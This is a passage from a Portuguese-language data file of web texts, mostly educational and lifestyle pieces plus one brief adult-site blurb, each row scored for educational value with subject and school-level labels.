prova dificílima recheada de subidas intermináveis que testa todos os seus limites, principalmente o psicológico”, afirma. “Se eu não tivesse conseguido manter a autoconfiança, com certeza teria desistido”, relembra o atleta, que precisou lidar com fortes dores nas panturrilhas durante quase metade do percurso. “Essa prova me trouxe uma lição de vida muito importante, a de que precisamos sempre acreditar em nós mesmos. Se não der hoje, amanhã é um novo dia”. +“Experimente vivenciar situações adversas durante o período de treinamento para as corridas de longa distância, lembrando sempre de aumentar as dificuldades gradativamente. Na medida em que as supera, o atleta vai conquistando mais confiança”, diz o psicólogo. Ainda assim, se surgir um imprevisto durante a prova, não deixe que isso tire o seu foco. “Houve uma mudança no ano passado que acrescentou 2 km ao trajeto, o que significa muito para quem já está cansado e com dor. Foi difícil não deixar que isso afetasse minha cabeça e colocasse tudo a perder”, diz o atleta. +Converse com corredores que já tenham concluído o desafio que você se propôs a encarar. Quanto mais informações você tiver, mas confiança você vai adquirir. “Um dia antes da Uphill, eu subi toda a serra de carro e, apesar de ter ficado assustado com o percurso, acho que foi muito bom ver de perto o que me aguardava no dia seguinte”, diz Flávio. +Seja qual for a distância da prova, o ideal é não pensar nela toda, mas sim em partes. “Dividir uma meia-maratona em três etapas, por exemplo, ajudará a manter o atleta motivado. Bem melhor pensar que você já completou um terço da prova do que apenas 7 km”, aconselha Eduardo. +10 exercícios na academia para melhorar sua corrida +ativo corrida O2corre treinamento",original,original,original,original,3,0.6 +"8 pedaços de casca de laranja cortadas em quadrados. +4 pedaços de casca de limão cortados em quatro. +Com 2 horas de antecedência, prepare o tempero, misturando os 8 primeiros ingredientes numa tigela. +Ponha a carne cortada em cubos e cubra com um pano de prato. +Deixe descansar em temperatura ambiente mexendo de vez em quando. +Coloque a carne em 4 espetos alternando-os com as cascas de laranja e limão, começando e terminando com a carne. +Coloque em cada espeto uma folha de louro. +Apoie a ponta dos espetos sobre as bordas de uma assadeira. +Asse no forno pré-aquecido até atingir o ponto desejado molhando de vez em quando com o tempero em que a carne ficou de molho.",original,original,original,original,0,0.0 +"Você já se perguntou por que comemos panetone no Natal ou pulamos fogueiras em junho? Essas são algumas das muitas tradições culturais que fazem do Brasil um país tão especial! Tradições culturais são como um grande abraço que recebemos do passado, um conjunto de costumes, crenças e saberes que são transmitidos de geração em geração. Imagine que sua avó te ensina a fazer um bolo delicioso que ela aprendeu com a mãe dela. Essa receita, cheia de amor e história, é uma tradição cultural! + +No Brasil, temos uma diversidade incrível de tradições, influenciadas pelos povos indígenas, africanos, europeus e asiáticos que formaram nossa nação. Cada região do país tem suas próprias festas, danças, comidas e músicas que contam um pouco da sua história. No Norte, por exemplo, o Festival de Parintins celebra a cultura amazônica com os bois-bumbás Garantido e Caprichoso. Já no Nordeste, o frevo e o maracatu animam o carnaval com seus ritmos vibrantes. No Sul, a cultura gaúcha é marcada pelo churrasco, o chimarrão e as danças típicas. E no Sudeste, o samba e a feijoada são símbolos da alegria e da culinária brasileira. No Centro-Oeste, a festa do Divino Espírito Santo colore as cidades com suas cores e fé. + +As tradições culturais não são apenas festas e danças. Elas também estão presentes na nossa língua, na nossa culinária, na nossa forma de nos vestir e de nos relacionar uns com os outros. Quando você ouve um conto popular, aprende uma brincadeira antiga ou participa de uma festa religiosa, você está vivenciando e perpetuando uma tradição cultural. As tradições culturais são importantes porque nos conectam com nossas raízes, fortalecem nossa identidade e nos ensinam sobre o mundo ao nosso redor. Elas nos ajudam a entender quem somos, de onde viemos e para onde queremos ir. + +Preservar as tradições culturais é fundamental para garantir que as futuras gerações também possam desfrutar dessa riqueza. Podemos fazer isso aprendendo sobre as tradições da nossa família e da nossa comunidade, participando de festas e eventos culturais, ensinando as brincadeiras e as histórias para os mais novos e valorizando o trabalho dos artistas e artesãos locais. Pense em todas as coisas que você gosta de fazer e que seus pais ou avós te ensinaram. Quais dessas coisas você gostaria de passar para seus filhos ou netos? Quais tradições você considera importantes para a sua família e para o Brasil? Ao valorizar e preservar nossas tradições culturais, estamos construindo um futuro mais rico, diverso e conectado com o nosso passado.",História,Tradições culturais,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional por introduzir o conceito de tradições culturais de forma clara e acessível, exemplificando com diversas regiões do Brasil e seus costumes. Aborda a importância das tradições para a identidade e conexão com o passado, incentivando a preservação. O texto é adequado para o ensino fundamental, promovendo a reflexão sobre a cultura brasileira e familiar, justificando a pontuação máxima.",5,1.0 +"Para deixar mais claro, primeiramente vamos elucidar o porque de tantos modelos. +""Era uma vez"" um cara que criou uma estrutura para um microcontrolador AVR. Sua ideia era facilitar o acesso de indivíduos que não dominavam essa poderosa tecnologia que envolvia programação complexa e muita eletrônica. E assim chamou ""a Bela "" de Arduino. ""Mas não é só isso"" ele também era open hardware e open software. E esse novo conceito -ser aberto, livre- acompanhando as novas tendências como Linux e Firefox gerou uma leva de Arduinomaniacos. +Podemos dizer que o Arduino criou um BUM! Como no surgimento dos videogames. Ter um Atari era o motivo de tietagem dos vizinhos. +Bem... Sendo open o Arduino disponibilizou toda sua documentação, assim qualquer um poderia montar o seu em casa, fazer modificações básicas e criar uma variação do arduino que melhor se adaptava ao seu projeto e publica-la para que outros pudessem conhece-la. +Então foram surgindo arduinos mais compactos para projetos com pouco espaço, já outros maiores para projetos com maior necessidade de sensores e pinos. +Tudo deu tão certo que o próprio arduino passou a sofrer atualizações tanto em Hardware(na placa do arduino) como em software(programas e bibliotecas que escrevem o código) e assim o arduino passou de NG, para Diecimila, depois para Duemilanove e em seguida: UNO. +Evidentemente essas atualizações normalmente não representão um mudança drástica a ponto de não poder usar um ou o outro. Muito pelo contrário. É priorizado a compatiblidade entre eles. +O mesmo acontece com a IDE(interface de desenvolvimento do arduino) que constantemente é atualizada. +Ciente de tudo isso agora é fácil escolher o seu modelo de Arduino. +A recomendação é compra o modelo que mais se adequa a sua aplicação. +Procure optar pelo modelo mais barato se deseja gastar pouco. +Adote o modelo com mais memória e pinos se o seu peojeto for grande ou tenha pretenção de expandi-lo. +-Os de tamanho Médio e tradicional: Duemilanove, UNO +-O arduino Mega1280 e Mega2560 para projetos com maior demanda de memória, sensores e relés. Robôs mais complexos que usam diversos sensores e´a melhor opção. +-O arduino NANO para projetos que precisam ser leves e ocupar pouco espaço. Possui a mesma configuração do Duemilanove/UNO mas em tamanho reduzido. +Este modelo é fabricado na Itália. Tabém é chamado de modelo original por ser fabricado na Itália onde foi criado o Arduino. Mas como é open não existe ""original"". É apenas um apelido. +Apresenta estrutura de tamanho relativamente grande. +Apresenta maior número de pinos: I/O, Analógicos, maior memória +Algumas perguntas são frequentes, então vamos a elas: +-Qual a diferença entre o Uno e o Duelimanove? +-Qual a diferença entre o Uno e UNO Italiano? +O Arduino é open e pode ser fabricado em qualquer lugar. Os criadores do Arduino são italianos e fabricam o modelo na Itália assim o arduino UNO Italiano muitas vezes é chamado de original. Mas não ha diferença estrutural entre os que são fabricados em outro local. A diferença é fabrica mesmo. +Entretanto diferentemente da modificação do chip FTDI que ocorreu entre o Duemila e o UNO as variações entre UNO são de mudança na posição de alguns componentes. Adição de diodos e outras alterações que não representam uma mudança tão perceptível. O recomendo é não se preocupar com essas atualizações no UNO pois são em geral para incentivar a venda de modelos mais caros. +O Duemilanove e o UNO são menores em número de portas entradas/saída tem menor memória flash(que grava o código). Entretanto é mais leve e compacto que o MEGA. +Caso queira desenvolver um projeto que tenha muitas portas, sensores... Sim, será o mais indicado. +No geral o Mega 2560 lhe permitirá desenvolver projetos maiores sem se preocupar com limite de espaço de gracação ou pinos Analógicos e I/O . +Possui maior número de pinos com Interrupção, PWM dentre outras habilidades que um microcontrolador oferece. +-O arduino precisa de alimentação externa como uma fonte? +O cabo USB fornece energia...",original,original,original,original,3,0.6 +"Ligar para Irauçuba CE pela Vivo +Veja aqui respostas para: Ligar para Irauçuba CE pela Vivo? ou talvez: qual é o código de Irauçuba no estado de Ceará?",original,original,original,original,1,0.2 +"Hugh Jackman revela nova cirurgia para combater câncer de pele +O fator de cura do Wolverine não consegue enfrentar o excesso de exposição ao sol sem protetor solar. O ator australiano Hugh Jackman, de 47 anos, revelou ter removido pela quinta vez um câncer de pele do tipo carcinoma basocelular. +""Este é um exemplo do que acontece quando você não usa protetor solar"", destacou o astro dos filmes de super-heróis. ""A forma mais branda de câncer, mas séria de qualquer jeito"", acrescentou. +Jackman reforçou a necessidade de usar proteção, evitar exposição excessiva ao sol e, ainda, fazer exames com frequência. A primeira vez que ele precisou passar por procedimento foi em novembro de 2013.",original,original,original,original,3,0.6 +"Primeiro, vamos as explicações... Eu sei que prometi não desaparecer mais daqui, porém essa semana houve algumas mudanças nos meus horários e acabei me perdendo com toda a rotina, mas vou me organizar melhor nos finais de semana e deixar tudo preparado para que durante a semana vocês fiquem atualizadas. Agora chega de papo e vamos ver as fotos? +Quem gostou pode entrar em contato com o Elias pelos telefones: (18) 99173-3763 // (18) 99144-8089 e marcar um horário. Ele faz fotos de books e festas em geral. Ah, e podem entrar em contato com ele também pelo facebook aqui.",original,original,original,original,0,0.0 +"Olá, pequenos exploradores! Preparados para uma viagem incrível sem sair do lugar? Hoje, vamos desvendar os segredos das paisagens do nosso Brasil, um país gigante e cheio de lugares fascinantes! + +Imagine que você está olhando pela janela do seu carro ou ônibus. O que você vê? Prédios altos, casas coloridas, árvores verdinhas, um rio passando? Tudo isso faz parte da paisagem! A paisagem é tudo aquilo que podemos observar ao nosso redor. Mas as paisagens do Brasil são muito diferentes umas das outras. Algumas são mais naturais, com muita natureza preservada, como as florestas e os rios. Outras são mais modificadas pelas pessoas, com cidades cheias de construções e plantações. + +Vamos começar nossa aventura pelas florestas! A Amazônia, por exemplo, é a maior floresta tropical do mundo! Lá, encontramos uma grande variedade de plantas e animais, como macacos, araras e até mesmo a preguiça, que adora dormir nas árvores. Já a Mata Atlântica, que fica pertinho do mar, também é rica em natureza, mas infelizmente já foi muito devastada. Precisamos cuidar das nossas florestas, pois elas são muito importantes para a nossa vida! Elas nos dão ar puro, água e muitos outros recursos. + +Agora, vamos para o sertão nordestino, um lugar bem diferente das florestas. Lá, o clima é quente e seco, e a paisagem é formada por plantas resistentes à seca, como os cactos. As pessoas que vivem no sertão são muito criativas e aprenderam a conviver com a falta de água. Elas constroem cisternas para armazenar a água da chuva e cultivam plantas que precisam de pouca água. + +E que tal conhecer as praias do Brasil? Elas são famosas em todo o mundo! No Rio de Janeiro, por exemplo, temos a praia de Copacabana, com sua areia branquinha e o mar azul. Mas as praias do Brasil são muito diferentes umas das outras. Algumas têm ondas fortes, ótimas para o surf, enquanto outras são mais calmas, ideais para nadar e brincar na água. + +As cidades também fazem parte das paisagens brasileiras. Em São Paulo, a maior cidade do Brasil, vemos muitos prédios, carros e pessoas. As cidades são importantes centros de comércio, cultura e educação. Mas é importante que as cidades sejam planejadas de forma sustentável, para que as pessoas possam viver bem e a natureza seja preservada. + +E você, qual paisagem do Brasil gostaria de conhecer? Que tal desenhar a sua paisagem favorita? Lembre-se que todas as paisagens são importantes e merecem o nosso respeito e cuidado. Afinal, elas fazem parte da nossa história e da nossa identidade. O que podemos fazer para ajudar a preservar as paisagens do nosso país? Pense nisso e converse com seus amigos e familiares! Até a próxima aventura geográfica!",Geografia,Paisagens brasileiras,anos iniciais (1º ao 5º ano),"O trecho possui alto valor educacional, adequado para o ensino fundamental. Introduz conceitos geográficos de forma clara e envolvente, utilizando linguagem acessível e exemplos relevantes para o contexto brasileiro (florestas, sertão, praias, cidades). Incentiva a reflexão sobre a importância da preservação ambiental e a relação entre paisagem e identidade. A estrutura do texto é organizada, facilitando a compreensão e o aprendizado. Apresenta conceitos importantes relacionados ao currículo escolar.",5,1.0 +"Colesterol alto, diabetes, prevenção do câncer de cólon, osteoporose, auxiliar na absorção de cálcio e de vitaminas. +Peru. Nativo da região andina que se estende desde a Venezuela até o norte da Argentina. Suas folhas e tubérculos são consumidos na forma natural. Na década de 1980 foi introduzida na Nova Zelândia, Japão e agora em outros países como Brasil e Tailândia. O Peru tem o maior número de variedades e é o maior produtor do mundo, com uma estimativa de 1.480 acres cultivados (Nota: dados de novembro de 2003). Tem sido produzida no interior de São Paulo. +O termo ""yacon"" é o mais utilizado em países como Colômbia, Peru, Argentina, países europeus, Japão, Nova Zelândia e Brasil. Outros nomes em idiomas europeus, criados provavelmente por pesquisadores ou cultivadores locais são: +O yacon é rico em antioxidantes, principalmente ácidos clorogênico e cafeico. Possui ainda nutrientes como o cálcio e o potássio. +Yacon tem a pele marrom escura e se parece com uma batata alongada. Costuma ser plantada em terra fofa e em altitudes elevadas. Sua raiz necessita de muita água. +Tem uma textura crocante como a castanha e é levemente doce, suculenta e saborosa. Deixada ao sol, sua doçura se intensifica e pode ser consumida cru como fruta, xaropes, bolos, pickles, saladas, em preparos e até como sobremesa. Ao longo dos anos transformou-se em importante alimento funcional. +A raiz apresenta elevado teor de água, possui reduzido valor energético e, diferentemente da maioria das espécies tuberosas que estocam energia na forma de amido, o yacon tem como principal carboidrato de reserva os frutooligossacarídeos (FOS), os quais têm sido motivo de destaque por exercerem atividade bifidogênica. +Existe ainda a farinha de yacon, usada para a fazer bolos, biscoitos e bebidas. O consumo pode ser diário: um vegetal de tamanho médio ou duas colheres de sopa de farinha. Pode ser indicado como alimento para adultos e crianças. +Estudos científicos indicam que é boa para o intestino, protege potencialmente contra o câncer, ajuda na absorção de cálcio e de vitaminas e pode diminuir os picos de açúcar no sangue ao ingerir alimentos doces, um problema para os diabéticos. Talvez seja esse o motivo pelo qual a planta é conhecida como ""batata do diabético"". +Além disso, a oligofrutose promove bactérias benéficas no cólon. Certos produtos modernos, como os chamados bio-iogurtes, têm oligofrutose adicionado para conseguir o mesmo efeito, mas yacon já tem naturalmente essa qualidade. +½ kg de batata yacon fresca , 1-2 tubérculos (a parte grossa do caule que cresce debaixo da terra) +¼ xícara de pimenta vermelha doce, cortada em anéis ou em cubos +Descasque e corte o abacaxi em oito seções em cortes longitudinais. Retire a parte central e corte os pedaços de abacaxi em fatias de 1,5 cm de espessura. +Para descascar o yacon, use um descascador de batatas comum, tendo o cuidado de não cortar profundamente o tubérculo. Pode-se cortar com uma faca. Enxague quando descascados, pois a casca de yacon é amarga. Imediatamente adicione o suco de limão para evitar a descoloração do yacon, em seguida combine com abacaxi e pimenta. +CNN.com: Sweet root good for dieters, diabetics - Acesso em 10 de maio de 2015 +Globo.com: Batata yacon é boa para intestino, colesterol e glicose - Acesso em 10 de maio de 2015 +Wikipedia: Yacon - Acesso em 10 de maio de 2015 +The Plant List: Smallanthus sonchifolius - Acesso em 10 de maio de 2015 +GOOGLE IMAGES de Smallanthus sonchifolius - Acesso em 10 de maio de 2015",original,original,original,original,4,0.8 +"Pilhas Recarregáveis +A utilização de pilhas em produtos eletrônicos ainda é grande, apesar da utilização de carregadores que muitos destes produtos possuem. As pilhas descartáveis se tornam muito caras, tem tempo de vida útil mais curto, já as pilhas recarregáveis podem ser utilizadas constantemente, bastando colocá-las no carregador para que elevem seu nível de energia. +Pilha recarregavel - O Mercado de pilhas +As pilhas descartáveis não devem ser recarregadas, devido a sua composição química, que não é preparada para receber uma recarga de energia, já as pilhas recarregáveis não possuem os mesmos riscos no momento de recarregar, como acontece com as pilhas descartáveis, que podem explodir, vazar ou simplesmente deixar de funcionar. Algumas pilhas recarregáveis possuem uma composição química que dura menor tempo quando comparado a outro tipo de pilha recarregável, como por exemplo as pilhas de Nickel Cadmium, que sofrem um efeito memória, isso acontece quando a pilha é recarregada antes de terminar a energia totalmente, então ela passa a apresentar que uma porcentagem ainda possui energia, viciando a pilha na recarga. Além disso esse tipo de pilha de Cadmium é um tóxico extremamente poluente, por isso a utilização deste tipo de pilha passou a ser menos consumida. O tipo de pilha que possui maior vida útil no modo recarregável comparada a Cadmium é a Níquel Metal Hydride, que suporta mais recargas e é encontrada facilmente em diferentes formatos como AA ou AAA, diferente da pilha a base de Lithium Íon, que possui menos formatos, porém é a pilha com maior tempo de vida útil. +Carregadores +É essencial que o indivíduo tenha um carregador de pilhas ao comprar as pilhas recarregáveis, pois do contrário elas se tornam como pilhas descartáveis. O carregador geralmente possui um campo que permite a recarga de até quatro pilhas simultaneamente, podendo economizar na quantidade de vezes de uso do carregador. Ele é ligado à tomada e possui um aviso de luz quando as pilhas apresentam recarga total, por exemplo, ao inserir as pilhas no carregador, e o carregador na tomada, a luz se apresenta vermelha devido a fraqueza de energia das pilhas, e dentro de duas horas mais ou menos, a luz se apresenta verde, com as pilhas já carregadas. +Pilha Recarregável o que é mah +A mah representa mili ampéres por hora (o mili quer dizer milésimo), ou quanto a pilha pode descarregar ou carregar de energia. A unidade ampére é uma unidade de corrente elétrica, portanto uma pilha que diz ter carga de 2500mah , poderia fornecer 2500 mili ampéres em uma hora de trabalho, ou 2,5 Amperes por hora , em uma tensão de 1,5v que é a tensão da pilha. +Para carregar a pilha também devemos olhar os carregadores o quanto está escrito que pode suportar por canal (um canal é onde se poe a pilha). Então se um carregador pode fornecer 500mah por canal, significa que demoraríamos 5h para carregarmos uma pilha de 2500mah. +Da mesma forma que carrega a pilha descarrega, devemos imaginar uma banheira com capacidade de litros e uma torneira e um ralo, pode-se fazer a analogia com a torneira sendo o carregador, com uma vazão de entrada constante e o ralo podendo mudar de tamanho , ou seja, de acordo com a saída da água, a banheira esvazia mais rápido ou não (de acordo com o uso de energia, a pilha descarrega mais rápido ou não). +Pilhas com carga recarregáveis - ou pre-carga +Diversas marcas possuem pilhas recarregáveis pronta para uso, ou seja, quando comprada já possui carga.",original,original,original,original,4,0.8 +"Já parou para pensar como as histórias que você lê, os vídeos que assiste e até as mensagens que troca com seus amigos são, no fundo, produções textuais? Escrever não é apenas juntar palavras, é construir um mundo de ideias, sentimentos e informações que podem tocar, inspirar e até transformar a vida das pessoas. Neste artigo, vamos explorar juntos os segredos por trás de uma boa produção textual, de forma simples e divertida! + +Primeiro, imagine que você é um detetive. Para solucionar um caso (escrever um texto), você precisa de pistas (ideias). De onde vêm essas pistas? De todos os lugares! Da sua imaginação, das suas experiências, das conversas que você tem, dos livros que lê, dos filmes que assiste. Anote tudo! Não tenha medo de rabiscar, fazer listas, desenhar. Quanto mais pistas você tiver, mais fácil será montar o quebra-cabeça da sua história. + +Depois de coletar suas pistas, é hora de organizar o pensamento. Todo texto precisa ter um começo, um meio e um fim. Pense em uma receita de bolo: você precisa dos ingredientes (as ideias), do modo de preparo (a organização das ideias) e do resultado final (o texto pronto). A introdução serve para apresentar o assunto, o desenvolvimento para aprofundar as ideias e a conclusão para amarrar tudo e deixar uma mensagem final. + +Um exemplo prático: imagine que você quer escrever sobre a importância da amizade. Na introdução, você pode começar com uma pergunta: “O que seria da vida sem amigos?”. No desenvolvimento, você pode contar histórias de amizade que você viveu, falar sobre os benefícios de ter amigos e até citar exemplos de filmes ou livros que abordam esse tema. Na conclusão, você pode reforçar a importância da amizade e deixar uma mensagem inspiradora para seus leitores. + +Agora, vamos falar sobre a linguagem. Imagine que você está conversando com um amigo. Você usaria palavras difíceis e frases complicadas? Provavelmente não! A escrita também deve ser assim: clara, simples e direta. Use palavras que você conhece, evite repetições e preste atenção na gramática. Lembre-se: quanto mais fácil for de entender, mais pessoas vão se conectar com a sua história. + +E por último, mas não menos importante: revise! Leia o que você escreveu com atenção, prestando atenção em cada detalhe. Peça para um amigo ou familiar ler também e dar a opinião dele. A revisão é fundamental para corrigir erros, melhorar a clareza e garantir que sua mensagem seja transmitida da melhor forma possível. A escrita é uma jornada, não um destino. Quanto mais você praticar, mais habilidoso você se tornará. Então, pegue seu caderno, solte a imaginação e comece a escrever! Que histórias incríveis você vai nos contar?",Português,Produção textual,anos finais (6º ao 9º ano),"O trecho apresenta alto valor educacional por abordar a produção textual de forma clara e acessível, utilizando analogias simples e exemplos práticos. Ele introduz conceitos básicos como estrutura textual (introdução, desenvolvimento e conclusão), importância da organização de ideias, uso de linguagem clara e a necessidade de revisão. A abordagem é adequada para alunos do ensino fundamental, incentivando a criatividade e o desenvolvimento da escrita.",5,1.0 +"Criacionismo não é ciência, é religião | Montfort +O criacionismo tem a ver com crença religiosa e nada a ver com a ciência. O que desejam é um mundo beato de adoradores da sua religião, e para isso usam o criacionismo como se fosse ciência, porque assim têm a autoridade da ciência do seu lado. Mas o criacionismo corrompe a ciência, corrompe a teoria da evolução de todas as maneiras. +Bom, esta é a minha sincera opinião. Por tudo o que tenho lido. +Porquê eu acho isto? Porque a evolução que os criacionistas atacam nada tem a ver com a evolução dos Biólogos. Vcs têm a mania de usar o argumento da entropia e concluem ás avessas. Na verdade a consequência da segunda lei da termodinâmica é uma aumento da estruturação material do Universo. Existe dissipação de energia calorífica que aumenta sempre a entropia global, mas existem Leis implacáveis que provocam agregação da matéria enquanto o universo esfria. E assim surgem galáxias, estrelas, planetas, cristais de gelo, e todo o tipo de formações espontâneas de complexos, e vida. +Outro espantalho é a seleção natural. Dizem vcs que a seleção natural não é criativa, tudo o que faz é eliminar. Isso é falso. A seleção natural é criativa. A seleção natural permite a acumulação de mutações favoráveis que podem depois ser recombinadas de várias formas em gerações sucessivas. É aqui que reside o grande poder e criatividade da seleção natural na evolução. +O Registo Fossil é outra coisa bastante esclarecedora. Mas parece que vcs pretendem que tem de existir uma espécie de filme da evolução em fósseis. Mas o processo de fossilização é raro. Mesmo assim é revelador o que temos. Especialmente a transição de formas simiescas para o ser humano. E depois o registo fossil é coerente. Vcs não vão encontrar fosseis hominideos em estratos de dinissauros e vice-versa. +A coerência que existe entre as arvores anatómicas e as árvores genética, que mostra as mesmas relações deparentesco. A Unidade Bioquímica e genética da vida, a distribuição biogeográfica das espécies (o exemplo das espécies em anel, que demonstram categoricamente como as espécies não são essências mas coisas que evoluem para outras espécies reprodutivamente isoladas). Também isto mostra a força da ideia da evolução. +Outra coisa é a deturpação do que a ciência é. Parece que para vcs a provas têm de ser palpáveis. Mas em ciência há evidências directas, indirectas e depois temos as inferências. Desde que a inferências sejam coerentes e logicamente consistente, elas são ciêntíficas. A Macroevgolução, por exemplo, é uma inferência da microevolução. E esta inferência é suportada até por fenómenos de especiação observados directamente. Estou a referir-me a casos de poliploidia observados em Plantas e alguns insectos. Portanto a ideia de que as espécies são imutáveis é absolutamente falsa, já que se fizeram observações directas de uma espécie se transformar noutra (como já referi no exemplo da Poliploidia). +É uma alegria poder responder a uma consulta vinda de tão longe. +Porém, é uma tristeza saber que as mesmas bobagens que se repete por aqui, são faladas no velho mundo. +Reparo que sua carta traz um pouco mais de pensamento que as cartas que costumo receber. Contudo, há sofismas do mesmo modo, senão os mesmos, além das extrapolações indevidas. +Em primeiro lugar, é necessário que se saiba que nós católicos atacamos a teoria da Evolução porque ela leva a erros contra a fé, mas também porque não condiz com a realidade dos eventos observados na natureza. Eventos naturais mensuráveis – por si sós – não podem jamais ser objetos do estudo da evolução. É necessário somar ao evento o princípio do processo evolutivo, para então se chegar a uma explicação evolutiva. Isso se chama petição de princípio. +Você nos diz que a dissipação de energia no Universo leva à estruturação material deste. Isso não é verdade. Há, certamente, acomodação material em +estruturas – às vezes – complexas, mas a formação de estruturas frágeis ou instáveis não é uma tendência do universo...",original,original,original,original,3,0.6 +"3 - Todo e qualquer pagamento deve ser feito via banco ou eletronicamente visando dar maior segurança dos residentes temporários +5 - As malas deverão ser guardadas debaixo da cama do residente temporário",original,original,original,original,0,0.0 +"escalacao das selecoes na copa - Esportes Notícias +escalacao das selecoes na copa Notícias sobre ""escalacao das selecoes na copa"" Seleções escaladas... +As oito seleções participantes, que representam todas confederações, já confirmaram seus elencos para a Copa das Confederações da FIFA Brasil 2013. Os seis campeões continentais juntam-se à Espanha , campeã da Copa do Mundo , e ao Brasil , que sedia a competição. Entre os 184 atletas escalados para o Festival dos Campeões estão alguns dos melhores do mundo, capazes de desequilibrar partidas em questão de segundos. Após muita expectativa, chegou a hora de... +Fifa divulga escalações das seleções da... +Rio de Janeiro - A Federação Internacional de Futebol (Fifa) divulgou na manhã de hoje (7) as escalações oficiais das oito seleções que vão participar da Copa das Confederações 2013, que começa no , enquanto a Nigéria traz como estrela o meio-campista da equipe inglesa Chelsea John Obi Mickel. O Taiti, que estreia na Copa das Confederações, traz um time de... +Fifa divulga escalações oficiais de seleções na... +A Federação Internacional de Futebol (Fifa) divulgou na manhã desta sexta-feira as escalações oficiais das oito seleções que vão participar da Copa das Confederações 2013, que começa no próximo dia a Nigéria traz como estrela o meio-campista da equipe inglesa Chelsea John Obi Mickel. O Taiti, que estreia na Copa das Confederações, traz um time de desconhecidos, mas... +» Últimas notícias sobre ""escalacao das selecoes na copa"" +Costa do Marfim O técnico da Costa do Marfim , o sueco Sven Goran Eriksson, confirmou ontem que vai escalar Didier Drogba como titular no jogo contra o Brasil , no domingo. O centroavante de 32 anos a agência, em referência ao domínio do Brasil nas ações ofensivas. Alemanha Única equipe a golear na primeira rodada da Copa do Mundo , a Alemanha tenta conter o entusiasmo após a...",original,original,original,original,1,0.2 +"Bem vindo a Pegging.pt o maior site português de pegging sexual do mundo. Quer seja um amante de pegging ou se é a primeira vez que o conhece, damos-lhe uma calorosa recepção. Em Pegging.pt irá desfrutar de milhares de vídeos porno de pegging de todo o mundo. Vídeos pornográficos de pegging grátis em qualidade HD. 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Já pararam para pensar como as palavras se juntam para formar frases e contar histórias incríveis? Pois é, existe um mundo secreto chamado Gramática que nos ajuda a entender tudo isso! Hoje, vamos embarcar juntos nessa aventura para desvendar alguns mistérios gramaticais de um jeito super divertido. + +Primeiro, vamos falar dos nomes, também conhecidos como substantivos. Tudo, tudo mesmo, tem um nome: pessoas (como a sua professora, o carteiro e você!), lugares (a escola, o parque, sua casa), bichos (cachorro, gato, passarinho) e coisas (mesa, livro, lápis). Que tal brincar de observar o mundo ao seu redor e listar todos os substantivos que encontrar? Você vai se surpreender com a quantidade! + +Agora, imagine que queremos dar mais detalhes sobre esses nomes. Para isso, usamos os adjetivos! Eles são como temperos mágicos que deixam nossas frases mais saborosas. Por exemplo, se falarmos “bola”, é um substantivo. Mas, se dissermos “bola azul”, o “azul” é um adjetivo que descreve a bola. Que cor é a sua mochila? Que tamanho tem o seu sapato? Use adjetivos para contar pra gente! + +E não podemos esquecer dos verbos, as palavras que indicam ação! Correr, pular, cantar, estudar, comer... Tudo que fazemos são verbos! Observe as pessoas ao seu redor e diga o que elas estão fazendo. “A mamãe está cozinhando”, “O papai está lendo”, “Eu estou aprendendo!”. Viu só? Quantos verbos você consegue identificar? + +Ah, e para dar um toque final nas nossas frases, temos a pontuação! O ponto final (.) indica que a frase terminou. A vírgula (,) serve para dar pequenas pausas. E a exclamação (!) mostra surpresa ou alegria. Use a pontuação certa e suas frases ficarão muito mais claras e expressivas! + +Explorar a gramática é como montar um quebra-cabeça gigante. Cada peça, cada palavra, tem seu lugar e sua importância. Quanto mais você brinca com as palavras, mais fácil fica de entender como elas funcionam juntas. Então, não tenha medo de perguntar, experimentar e se divertir com a gramática! E lembre-se: a língua portuguesa é um tesouro esperando para ser descoberto por você. Que tal começar sua própria caça ao tesouro das palavras hoje mesmo?",Português,Gramática básica,anos iniciais (1º ao 5º ano),"O trecho apresenta alto valor educacional, introduzindo conceitos gramaticais básicos de forma lúdica e acessível para crianças. Utiliza exemplos práticos e cotidianos, incentivando a observação e a aplicação dos conceitos. A linguagem é clara e envolvente, adequada para os anos iniciais do ensino fundamental. O texto aborda substantivos, adjetivos, verbos e pontuação de forma introdutória, mas eficaz, e estimula o aprendizado através da exploração e da diversão.",5,1.0 +"A construção do modelo atômico de Dalton teve como suporte a teoria do atomismo proposta por Demócrito e Leucipo. +John Dalton foi o primeiro cientista a formular um modelo para o átomo +PUBLICIDADE +O modelo atômico de Dalton foi o primeiro na história da humanidade a ser proposto por um cientista. Todavia, desde a Grécia Antiga o homem pensa a respeito da constituição da matéria (tudo aquilo que ocupa lugar no espaço e tem massa). É o caso de Demócrito e Leucipo, que foram aqueles que, no século V a.C., afirmaram que a matéria seria formada por partes pequenas (partículas), indivisíveis e indestrutíveis, o que eles denominaram de átomo. Essas ideias marcaram o início do atomismo (estudo do átomo ). +O atomismo começou a tomar um caminho científico por intermédio de experimentos feitos pelo cientista britânico John Dalton entre os anos de 1802 e 1805, quando ele estava estudando a absorção de gases por alguns líquidos (como a água) e correlacionando-a com estudos feitos por vários outros cientistas. Seus experimentos e estudos levaram-no a concluir que: +a matéria apresenta partículas (átomos) que possuem massa; +a combinação de diferentes átomos forma átomos compostos, que seriam as substâncias; +átomos diferentes apresentam massas e tamanhos diferentes; +os átomos não sofrem transformações, são imutáveis; +elementos químicos diferentes apresentam massas diferentes porque seus átomos são diferentes. +Com todos os estudos e trabalhos realizados, Dalton formulou sua teoria atômica (essa teoria tamb��m trouxe à tona dizeres de Demócrito e Leucipo), que também é um modelo pelo fato de que a tecnologia precária não permitiu a ele, por exemplo, enxergar o átomo. +O modelo atômico de Dalton traz os seguintes postulados: +O átomo apresenta uma forma esférica; +Todo átomo é maciço e indivisível; +Todo átomo é indestrutível; +Seu modelo para o átomo foi associado a uma bola de bilhar. +A imagem a seguir ilustra bem como o modelo de Dalton pode ser representado: +A bola de bilhar é a ilustração proposta por Dalton para nos ajudar a entender seu modelo +A teoria atômica de Dalton também propôs desenhos esféricos para alguns elementos químicos conhecidos na época, como os representados a seguir: +Representações feitas por Dalton de alguns dos elementos conhecidos na época segundo o seu modelo +O modelo atômico de Dalton foi também importante para a compreensão de alguns conceitos importantes dentro da Química, tais como: +Elemento químico: conjunto de átomos de mesma massa, mesmo tamanho e mesmas propriedades. Por exemplo: no elemento Cobre, todos os átomos que o formam são iguais. +Átomos iguais representando um elemento químico segundo o modelo de Dalton +Substâncias diferentes: a combinação de átomos diferentes em uma proporção de números inteiros forma substâncias diferentes. Por exemplo: na água, temos a combinação de dois átomos de hidrogênio com um átomo de oxigênio. 